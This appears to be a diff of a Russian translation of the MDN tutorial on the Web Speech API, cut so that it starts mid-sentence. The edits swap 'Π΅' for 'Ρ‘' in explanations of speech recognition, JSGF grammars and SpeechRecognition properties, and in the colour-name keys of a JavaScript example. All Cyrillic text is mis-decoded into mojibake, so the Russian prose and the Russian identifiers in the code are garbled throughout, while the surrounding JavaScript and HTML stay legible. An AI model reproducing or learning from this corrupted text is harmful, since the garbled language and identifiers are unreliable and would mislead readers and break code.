Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅Π΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠ½Π»Π°ΠΉΠ½.</p>
+<p class="summary">Web Speech API прСдоставляСт 2 основных Ρ‚ΠΈΠΏΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° β€” <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознаваниС Ρ€Π΅Ρ‡ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</a> ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">Ρ€Π΅Ρ‡Π΅Π²ΠΎΠ΅ воспроизвСдСниС тСкста</a>. Π­Ρ‚ΠΎ прСдоставляСт Π½ΠΎΠ²Ρ‹Π΅ возмоТности для взаимодСйствия с интСрфСйсом ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°ΠΌΠΈ Π½ΠΎΠ²Ρ‹Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Ρ‹ создания ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС ΠΎΠ±ΠΎΠΈΡ… Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ с ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ ΠΊΠΎΠ΄Π° ΠΈ ссылкой Π½Π° Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅Π΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠ½Π»Π°ΠΉΠ½.</p>
<h2 id="РаспознаваниС_Ρ€Π΅Ρ‡ΠΈ">РаспознаваниС Ρ€Π΅Ρ‡ΠΈ</h2>
-<p>ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ распознавания Ρ€Π΅Ρ‡ΠΈ способСн ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ€Π΅Ρ‡Π΅Π²ΠΎΠΉ ΠΏΠΎΡ‚ΠΎΠΊ Ρ‡Π΅Ρ€Π΅Π· ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ устройства, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свои Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹. Для Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ интСрфСйс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π“Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠ° опрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p>
+<p>ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ распознавания Ρ€Π΅Ρ‡ΠΈ способСн ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ€Π΅Ρ‡Π΅Π²ΠΎΠΉ ΠΏΠΎΡ‚ΠΎΠΊ Ρ‡Π΅Ρ€Π΅Π· ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ устройства, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свои Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹. Для Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ интСрфСйс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π“Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠ° опрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p>
<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠ°Ρ Ρ€Π΅Ρ‡ΡŒ Π±Ρ‹Π»Π° распознана, Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ (список Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ²) Π² качСствС тСкстовой строки, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ.</p>
@@ -33,7 +33,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API
<h3 id="БраузСрная_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°">БраузСрная ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°</h3>
-<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° интСрфСйса Π΅Ρ‰Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ распространяСтся Π½Π° основныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΈ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° интСрфСйса Π΅Ρ‰Ρ‘ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ распространяСтся Π½Π° основныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΈ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ul>
<li dir="ltr">
@@ -50,7 +50,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API
<p>Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° ΠΈ стили ΠΏΡ€Π΅Π΄Π΅Π»ΡŒΠ½ΠΎ просты. Π£ нас Π΅ΡΡ‚ΡŒ Π·Π½Π°Ρ‡ΠΎΠΊ ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½Π°, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ для Π½Π°Ρ‡Π°Π»Π° записи, анимация звукозаписи, которая Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ послС ΠΊΠ»ΠΈΠΊΠ°, ΠΈ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ свой Ρ†Π²Π΅Ρ‚, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π²ΡƒΡ‡ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
-<p>CSS Π·Π°Π΄Π°Π΅Ρ‚ простыС ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅ стили, для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ отобраТСния ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° всСх устройствах</p>
+<p>CSS Π·Π°Π΄Π°Ρ‘Ρ‚ простыС ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅ стили, для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ отобраТСния ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° всСх устройствах</p>
<h3 id="JavaScript">JavaScript</h3>
@@ -74,8 +74,8 @@ const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpe
<pre>const colors = {
красный: 'red',
ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΉ: 'orange',
- ΠΆΠ΅Π»Ρ‚Ρ‹ΠΉ: 'yellow',
- Π·Π΅Π»Π΅Π½Ρ‹ΠΉ: 'green',
+ ΠΆΡ‘Π»Ρ‚Ρ‹ΠΉ: 'yellow',
+ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ: 'green',
Π³ΠΎΠ»ΡƒΠ±ΠΎΠΉ: 'blue',
синий: 'darkblue',
Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²Ρ‹ΠΉ: 'violet'
@@ -100,7 +100,7 @@ const grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = ' + colorsLi
<p dir="ltr">Вторая строка ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ. public ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ это общСдоступноС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, строка Π² ΡƒΠ³Π»ΠΎΠ²Ρ‹Ρ… скобках опрСдСляСт распознанноС имя для этого значСния (Ρ†Π²Π΅Ρ‚), Π° список элСмСнтов, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π° Π·Π½Π°ΠΊΠΎΠΌ равСнства, - это Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ распознаны ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ приняты Π² качСствС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠ³ΠΎ значСния. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… раздСляСтся Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ (β€œ|” - β€œpipe character”).</p>
</li>
<li dir="ltr">
- <p dir="ltr">Π£ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ мноТСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅, ΠΈ содСрТащих довольно слоТныС опрСдСлСния Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ. Для нашСго дСмонстрационного ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ всС просто.</p>
+ <p dir="ltr">Π£ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ мноТСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅, ΠΈ содСрТащих довольно слоТныС опрСдСлСния Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ. Для нашСго дСмонстрационного ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ всС просто.</p>
</li>
</ul>
@@ -108,7 +108,7 @@ const grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = ' + colorsLi
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° распознавания Ρ€Π΅Ρ‡ΠΈ для управлСния записью нашСго прилоТСния.</p>
-<p dir="ltr">Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора <code>SpeechRecognition()</code>. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ создаСм Π½ΠΎΠ²Ρ‹ΠΉ Ρ€Π΅Ρ‡Π΅Π²ΠΎΠΉ грамматичСский список, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π°ΡˆΡƒ Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΡƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор <code>SpeechGrammarList()</code>.</p>
+<p dir="ltr">Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора <code>SpeechRecognition()</code>. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ создаём Π½ΠΎΠ²Ρ‹ΠΉ Ρ€Π΅Ρ‡Π΅Π²ΠΎΠΉ грамматичСский список, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π°ΡˆΡƒ Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΡƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор <code>SpeechGrammarList()</code>.</p>
<pre>const recognition = new SpeechRecognition();
const speechRecognitionList = new SpeechGrammarList();</pre>
@@ -118,7 +118,7 @@ const speechRecognitionList = new SpeechGrammarList();</pre>
<pre class="brush: js">speechRecognitionList.addFromString(grammar, 1);
</pre>
-<p dir="ltr">Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ добавляСм <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> ΠΊ ΡƒΠΆΠ΅ созданному ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ распознавания Ρ€Π΅Ρ‡ΠΈ, присваивая Сго значСниС свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Π’Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Π΄ΠΈΠΌ Π΅Ρ‰Π΅ нСсколько свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС:</p>
+<p dir="ltr">Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ добавляСм <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> ΠΊ ΡƒΠΆΠ΅ созданному ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ распознавания Ρ€Π΅Ρ‡ΠΈ, присваивая Сго значСниС свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Π’Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Π΄ΠΈΠΌ Π΅Ρ‰Ρ‘ нСсколько свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС:</p>
<ul>
<li dir="ltr">
@@ -140,14 +140,14 @@ recognition.maxAlternatives = 1;
</pre>
<div class="note">
-<p dir="ltr"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong>Β  <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> Π·Π°Π΄Π°Π΅Ρ‚, ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π»ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 1 Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° запись Π½Π°Ρ‡Π°Ρ‚Π°. Π­Ρ‚ΠΎ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄Π°Π½Π½ΠΎΠ΅ свойство Π² Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Gecko.</p>
+<p dir="ltr"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong>Β  <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> Π·Π°Π΄Π°Ρ‘Ρ‚, ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π»ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 1 Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° запись Π½Π°Ρ‡Π°Ρ‚Π°. Π­Ρ‚ΠΎ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄Π°Π½Π½ΠΎΠ΅ свойство Π² Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Gecko.</p>
<p dir="ltr">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, просто ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΠ² распознаваниС послС получСния ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°.</p>
</div>
<h4 id="Запуск_распознавания_Ρ€Π΅Ρ‡ΠΈ">Запуск распознавания Ρ€Π΅Ρ‡ΠΈ</h4>
-<p>ПослС получСния ссылок Π½Π° DOM-элСмСнты,Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π½Π°ΠΌ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ…Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠΉΒ ΠΈ обновлСния цвСта Ρ„ΠΎΠ½Π° прилоТСния, ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π·Π½Π°Ρ‡ΠΎΠΊ ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½Π° сСрвис распознавания Ρ€Π΅Ρ‡ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π» Ρ€Π°Π±ΠΎΡ‚Ρƒ. Запуск происходит путСм Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>SpeechRecognition.start()</code>.</p>
+<p>ПослС получСния ссылок Π½Π° DOM-элСмСнты,Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π½Π°ΠΌ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ…Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠΉΒ ΠΈ обновлСния цвСта Ρ„ΠΎΠ½Π° прилоТСния, ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π·Π½Π°Ρ‡ΠΎΠΊ ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½Π° сСрвис распознавания Ρ€Π΅Ρ‡ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π» Ρ€Π°Π±ΠΎΡ‚Ρƒ. Запуск происходит путём Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>SpeechRecognition.start()</code>.</p>
<pre>microphoneIcon.onclick = function() {
recognition.start();
@@ -162,7 +162,7 @@ recognition.onaudiostart = function() {
<h4 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΠΈ_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°</h4>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ процСсс распознавания Ρ€Π΅Ρ‡ΠΈ Π±Ρ‹Π» Π·Π°ΠΏΡƒΡ‰Π΅Π½, Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Бписок ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий SpeechRecognition</a>.) НаиболСС распространСнный, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹, вСроятно, ΠΈ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, 